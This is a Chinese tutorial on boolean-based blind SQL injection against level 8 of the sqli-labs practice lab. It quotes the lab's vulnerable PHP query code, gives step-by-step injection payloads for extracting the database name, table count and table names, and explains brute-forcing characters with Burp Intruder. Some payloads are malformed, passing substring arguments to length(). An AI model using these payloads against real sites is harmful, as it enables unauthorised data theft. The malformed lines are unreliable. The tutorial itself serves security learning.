原理 网页返回值为true或者false根据数据库的返回值来
使用场景 1.union注入无法使用,没有显示点
2.只能根据页面的返回值是true或者false来判断是非被带入查询
靶场实战:sql-labs第八关 加单引号报错,注释返回正常,那么我们再1=1返回正常1=2返回异常。说明存在注入点,我们首先会想到的是union注入,order by查到三个位置后union select 1,2,3%23
发现并没有显示的位置
第八关代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
如果是true返回You are in...........;error返回空
那么我们就可以开始用布尔盲注测试
盲注步骤 第一步 先判断数据库长度
?id=1' and (ascii(length(database(),1,1))>n)%23
判断数据库名称
?id=1' and (ascii(substr(database(),1,1))>n)%23
ps:
1.取数据可以用二分法
2.去数据库名称第二位只需要更改substr函数截取的位置即可:
?id=1' and (ascii(length(database(),2,1))>n)%23
这里可以用burp的intruder模块遍历
文章图片
先clear一下然后在n的位置add一下并改为零
文章图片
然后start attack然后看length不一样的那个就是该位置的数据
获取表的数量
?id=1' and (select count(*) from information_schema.tables where table_schema='security')>n%23
【数据库|布尔盲注!】获取表的长度
?id=1' and (ord(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>n%23
后面方法和前面差不多
推荐阅读
- MySQL|初始MySQL
- COMP9315 22T1
- python|Python dataframe 多条件筛选/过滤数据的方法及函数isin,query,contains,loc的使用介绍
- Oracle11g创建表空间语句以及ORA-01109:数据库未打开(解决办法)
- 技术干货|趣说GBase 8a数据库集群(二)
- GBASE生态|您有一份GBase数据库12月份适配清单待查收
- GBASE活动|预告 | GBase数据库入选《创新源动力——北大创新评论产业研究案例库》
- spring|Redis基础篇
- sqlite|SQLITE3 使用总结